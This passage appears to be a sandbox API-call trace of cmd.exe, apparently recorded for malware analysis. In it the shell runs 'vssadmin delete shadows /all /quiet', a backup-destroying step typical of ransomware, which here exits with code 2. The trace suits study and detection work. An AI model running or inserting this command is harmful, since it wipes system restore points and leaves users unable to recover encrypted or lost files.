RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x5a) returned 0x16fa0dc77c0 [0168.543] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0168.543] malloc (_Size=0xffce) returned 0x16fa0ef0820 [0168.543] ??_V@YAXPEAX@Z () returned 0x16fa0ef0820 [0168.543] GetProcessHeap () returned 0x16fa0dc0000 [0168.543] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x1ffac) returned 0x16fa0ddaac0 [0168.546] SetErrorMode (uMode=0x0) returned 0x0 [0168.546] SetErrorMode (uMode=0x1) returned 0x0 [0168.546] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x16fa0ddaad0, lpFilePart=0x35b31fec50 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x35b31fec50*="system32") returned 0x13 [0168.546] SetErrorMode (uMode=0x0) returned 0x1 [0168.546] GetProcessHeap () returned 0x16fa0dc0000 [0168.546] RtlReAllocateHeap (Heap=0x16fa0dc0000, Flags=0x0, Ptr=0x16fa0ddaac0, Size=0x4a) returned 0x16fa0ddaac0 [0168.546] GetProcessHeap () returned 0x16fa0dc0000 [0168.546] RtlSizeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, MemoryPointer=0x16fa0ddaac0) returned 0x4a [0168.546] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff75153bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0168.547] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0168.547] GetProcessHeap () returned 0x16fa0dc0000 [0168.547] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x1b6) returned 0x16fa0dc7830 [0168.547] GetProcessHeap () returned 0x16fa0dc0000 [0168.547] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x35c) returned 0x16fa0dd8e80 [0168.547] GetProcessHeap () returned 0x16fa0dc0000 [0168.547] RtlReAllocateHeap (Heap=0x16fa0dc0000, Flags=0x0, Ptr=0x16fa0dd8e80, Size=0x1b8) returned 0x16fa0dd8e80 [0168.547] GetProcessHeap () returned 0x16fa0dc0000 [0168.547] RtlSizeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, MemoryPointer=0x16fa0dd8e80) returned 0x1b8 [0168.547] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff75153bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0168.547] GetProcessHeap () returned 0x16fa0dc0000 [0168.547] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xe8) returned 0x16fa0dd9050 [0168.547] GetProcessHeap () returned 0x16fa0dc0000 [0168.547] RtlReAllocateHeap (Heap=0x16fa0dc0000, Flags=0x0, Ptr=0x16fa0dd9050, Size=0x7e) returned 0x16fa0dd9050 [0168.547] GetProcessHeap () returned 0x16fa0dc0000 [0168.547] RtlSizeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, MemoryPointer=0x16fa0dd9050) returned 0x7e [0168.547] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0168.547] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x35b31fe9c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x35b31fe9c0) returned 0x16fa0dd90e0 [0168.547] FindClose (in: hFindFile=0x16fa0dd90e0 | out: hFindFile=0x16fa0dd90e0) returned 1 [0168.547] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x35b31fe9c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x35b31fe9c0) returned 0xffffffffffffffff [0168.548] GetLastError () returned 0x2 [0168.548] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x35b31fe9c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x35b31fe9c0) returned 0x16fa0dd90e0 [0168.548] FindClose (in: hFindFile=0x16fa0dd90e0 | out: hFindFile=0x16fa0dd90e0) returned 1 [0168.548] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0168.548] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0168.548] ??_V@YAXPEAX@Z () returned 0x1 [0168.548] GetConsoleTitleW (in: lpConsoleTitle=0x35b31fef40, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0168.550] GetProcessHeap () returned 0x16fa0dc0000 [0168.550] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x21c) returned 0x16fa0dc15f0 [0168.550] GetConsoleTitleW (in: lpConsoleTitle=0x16fa0dc1600, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0168.554] GetProcessHeap () returned 0x16fa0dc0000 [0168.554] RtlReAllocateHeap (Heap=0x16fa0dc0000, Flags=0x0, Ptr=0x16fa0dc15f0, Size=0xa4) returned 0x16fa0dc15f0 [0168.555] GetProcessHeap () returned 0x16fa0dc0000 [0168.555] RtlSizeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, MemoryPointer=0x16fa0dc15f0) returned 0xa4 [0168.555] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0168.558] GetProcessHeap () returned 0x16fa0dc0000 [0168.558] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc15f0) returned 1 [0168.558] InitializeProcThreadAttributeList (in: lpAttributeList=0x35b31fee60, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x35b31fed50 | out: lpAttributeList=0x35b31fee60, lpSize=0x35b31fed50) returned 1 [0168.558] UpdateProcThreadAttribute (in: lpAttributeList=0x35b31fee60, dwFlags=0x0, Attribute=0x60001, lpValue=0x35b31fed3c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x35b31fee60, lpPreviousValue=0x0) returned 1 [0168.558] GetStartupInfoW (in: lpStartupInfo=0x35b31fedf0 | out: lpStartupInfo=0x35b31fedf0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0168.558] GetProcessHeap () returned 0x16fa0dc0000 [0168.558] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x20) returned 0x16fa0dc7630 [0168.558] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0168.558] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0168.558] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0168.558] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0168.558] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0168.558] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0168.558] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0168.558] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0168.558] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0168.558] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0168.558] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0168.558] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0168.558] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0168.559] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0168.560] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0168.560] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0168.560] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0168.560] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0168.560] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0168.560] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0168.560] GetProcessHeap () returned 0x16fa0dc0000 [0168.560] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc7630) returned 1 [0168.560] GetProcessHeap () returned 0x16fa0dc0000 [0168.560] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x12) returned 0x16fa0dc79f0 [0168.560] _get_osfhandle (_FileHandle=1) returned 0x254 [0168.560] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0168.560] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.560] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0168.560] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x35b31fed80*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x35b31fed58 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x35b31fed58*(hProcess=0x98, hThread=0x9c, dwProcessId=0xeb0, dwThreadId=0xeb4)) returned 1 [0171.311] CloseHandle (hObject=0x9c) returned 1 [0171.311] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0171.311] GetProcessHeap () returned 0x16fa0dc0000 [0171.311] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dd9f90) returned 1 [0171.311] GetEnvironmentStringsW () returned 0x16fa0dd9460* [0171.311] GetProcessHeap () returned 0x16fa0dc0000 [0171.311] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xb24) returned 0x16fa0dd9f90 [0171.311] FreeEnvironmentStringsA (penv="=") returned 1 [0171.311] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x35b31fe258, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x35b31fe258, ReturnLength=0x0) returned 0x0 [0171.311] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x81a8db5000, lpBuffer=0x35b31fe290, nSize=0x7a0, lpNumberOfBytesRead=0x35b31fe250 | out: lpBuffer=0x35b31fe290*, lpNumberOfBytesRead=0x35b31fe250*=0x7a0) returned 1 [0171.311] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0176.358] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x35b31fecd8 | out: lpExitCode=0x35b31fecd8*=0x2) returned 1 [0176.358] CloseHandle (hObject=0x98) returned 1 [0176.358] _vsnwprintf (in: _Buffer=0x35b31feea8, _BufferCount=0x13, _Format="%08X", _ArgList=0x35b31fece8 | out: _Buffer="00000002") returned 8 [0176.358] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0176.358] GetProcessHeap () returned 0x16fa0dc0000 [0176.358] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dd9f90) returned 1 [0176.358] GetEnvironmentStringsW () returned 0x16fa0dd9460* [0176.358] GetProcessHeap () returned 0x16fa0dc0000 [0176.358] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xb24) returned 0x16fa0dd9f90 [0176.358] FreeEnvironmentStringsA (penv="=") returned 1 [0176.358] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0176.358] GetProcessHeap () returned 0x16fa0dc0000 [0176.358] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dd9f90) returned 1 [0176.358] GetEnvironmentStringsW () returned 0x16fa0dd9460* [0176.358] GetProcessHeap () returned 0x16fa0dc0000 [0176.358] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xb24) returned 0x16fa0dd9f90 [0176.358] FreeEnvironmentStringsA (penv="=") returned 1 [0176.358] GetProcessHeap () returned 0x16fa0dc0000 [0176.358] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc79f0) returned 1 [0176.358] DeleteProcThreadAttributeList (in: lpAttributeList=0x35b31fee60 | out: lpAttributeList=0x35b31fee60) [0176.358] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0176.477] ??_V@YAXPEAX@Z () returned 0x1 [0176.477] _get_osfhandle (_FileHandle=1) returned 0x254 [0176.477] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0176.477] _get_osfhandle (_FileHandle=1) returned 0x254 [0176.477] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff75153fc08 | out: lpMode=0x7ff75153fc08) returned 0 [0176.477] _get_osfhandle (_FileHandle=0) returned 0x248 [0176.477] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff75153fc0c | out: lpMode=0x7ff75153fc0c) returned 0 [0176.477] GetConsoleOutputCP () returned 0x4e3 [0176.607] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff75153fbb0 | out: lpCPInfo=0x7ff75153fbb0) returned 1 [0176.607] SetThreadUILanguage (LangId=0x0) returned 0x409 [0176.617] GetProcessHeap () returned 0x16fa0dc0000 [0176.617] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dd9050) returned 1 [0176.617] GetProcessHeap () returned 0x16fa0dc0000 [0176.617] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dd8e80) returned 1 [0176.617] GetProcessHeap () returned 0x16fa0dc0000 [0176.617] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc7830) returned 1 [0176.617] GetProcessHeap () returned 0x16fa0dc0000 [0176.617] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0ddaac0) returned 1 [0176.617] GetProcessHeap () returned 0x16fa0dc0000 [0176.617] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc77c0) returned 1 [0176.617] GetProcessHeap () returned 0x16fa0dc0000 [0176.617] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc8e90) returned 1 [0176.617] GetProcessHeap () returned 0x16fa0dc0000 [0176.617] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc75e0) returned 1 [0176.617] GetProcessHeap () returned 0x16fa0dc0000 [0176.617] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc6490) returned 1 [0176.617] GetProcessHeap () returned 0x16fa0dc0000 [0176.617] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc7340) returned 1 [0176.617] _vsnwprintf (in: _Buffer=0x7ff751547f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x35b31ff288 | out: _Buffer="\r\n") returned 2 [0176.617] _get_osfhandle (_FileHandle=1) returned 0x254 [0176.617] GetFileType (hFile=0x254) returned 0x3 [0176.618] _get_osfhandle (_FileHandle=1) returned 0x254 [0176.618] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff751539970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0176.618] WriteFile (in: hFile=0x254, lpBuffer=0x7ff751539970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x35b31ff258, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesWritten=0x35b31ff258*=0x2, lpOverlapped=0x0) returned 1 [0176.618] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff75153bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0176.618] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x16fa0ec0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0176.618] _vsnwprintf (in: _Buffer=0x16fa0ed0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x35b31ff298 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0176.618] _vsnwprintf (in: _Buffer=0x16fa0ed0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x35b31ff298 | out: _Buffer=">") returned 1 [0176.618] _get_osfhandle (_FileHandle=1) returned 0x254 [0176.618] GetFileType (hFile=0x254) returned 0x3 [0176.618] _get_osfhandle (_FileHandle=1) returned 0x254 [0176.618] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff751539970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0176.618] WriteFile (in: hFile=0x254, lpBuffer=0x7ff751539970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x35b31ff288, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesWritten=0x35b31ff288*=0x14, lpOverlapped=0x0) returned 1 [0176.618] _get_osfhandle (_FileHandle=0) returned 0x248 [0176.618] GetFileType (hFile=0x248) returned 0x3 [0176.618] _get_osfhandle (_FileHandle=0) returned 0x248 [0176.618] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.618] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0176.618] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0176.618] _get_osfhandle (_FileHandle=0) returned 0x248 [0176.618] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.618] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0176.618] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0176.619] _get_osfhandle (_FileHandle=0) returned 0x248 [0176.619] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.619] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0176.619] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0176.619] _get_osfhandle (_FileHandle=0) returned 0x248 [0176.619] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.619] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0176.619] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0176.619] _get_osfhandle (_FileHandle=0) returned 0x248 [0176.619] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.619] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0176.619] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0176.619] _get_osfhandle (_FileHandle=0) returned 0x248 [0176.619] GetFileType (hFile=0x248) returned 0x3 [0176.619] _get_osfhandle (_FileHandle=0) returned 0x248 [0176.619] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.619] _get_osfhandle (_FileHandle=1) returned 0x254 [0176.619] GetFileType (hFile=0x254) returned 0x3 [0176.619] _get_osfhandle (_FileHandle=1) returned 0x254 [0176.619] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff751539970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0176.619] WriteFile (in: hFile=0x254, lpBuffer=0x7ff751539970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x35b31ff588, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesWritten=0x35b31ff588*=0x5, lpOverlapped=0x0) returned 1 [0176.619] GetProcessHeap () returned 0x16fa0dc0000 [0176.619] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x4012) returned 0x16fa0dc8e90 [0176.619] GetProcessHeap () returned 0x16fa0dc0000 [0176.619] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc8e90) returned 1 [0176.620] _wcsicmp (_String1="Exit", _String2=")") returned 60 [0176.620] _wcsicmp (_String1="FOR", _String2="Exit") returned 1 [0176.620] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1 [0176.620] _wcsicmp (_String1="IF", _String2="Exit") returned 4 [0176.620] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4 [0176.620] _wcsicmp (_String1="REM", _String2="Exit") returned 13 [0176.620] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13 [0176.620] GetProcessHeap () returned 0x16fa0dc0000 [0176.621] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xb0) returned 0x16fa0dc7340 [0176.621] GetProcessHeap () returned 0x16fa0dc0000 [0176.621] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x1a) returned 0x16fa0dc6490 [0176.621] GetConsoleOutputCP () returned 0x4e3 [0176.659] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff75153fbb0 | out: lpCPInfo=0x7ff75153fbb0) returned 1 [0176.659] SetThreadUILanguage (LangId=0x0) returned 0x409 [0176.661] GetConsoleTitleW (in: lpConsoleTitle=0x35b31ff3d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0176.662] malloc (_Size=0xffce) returned 0x16fa0ee0840 [0176.662] ??_V@YAXPEAX@Z () returned 0x16fa0ee0840 [0176.662] malloc (_Size=0xffce) returned 0x16fa0ef0820 [0176.662] ??_V@YAXPEAX@Z () returned 0x16fa0ef0820 [0176.663] _wcsicmp (_String1="Exit", _String2="DIR") returned 1 [0176.663] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6 [0176.663] _wcsicmp (_String1="Exit", _String2="DEL") returned 1 [0176.663] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15 [0176.663] _wcsicmp (_String1="Exit", _String2="COPY") returned 2 [0176.663] _wcsicmp (_String1="Exit", _String2="CD") returned 2 [0176.663] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2 [0176.663] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13 [0176.663] _wcsicmp (_String1="Exit", _String2="REN") returned -13 [0176.663] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21 [0176.663] _wcsicmp (_String1="Exit", 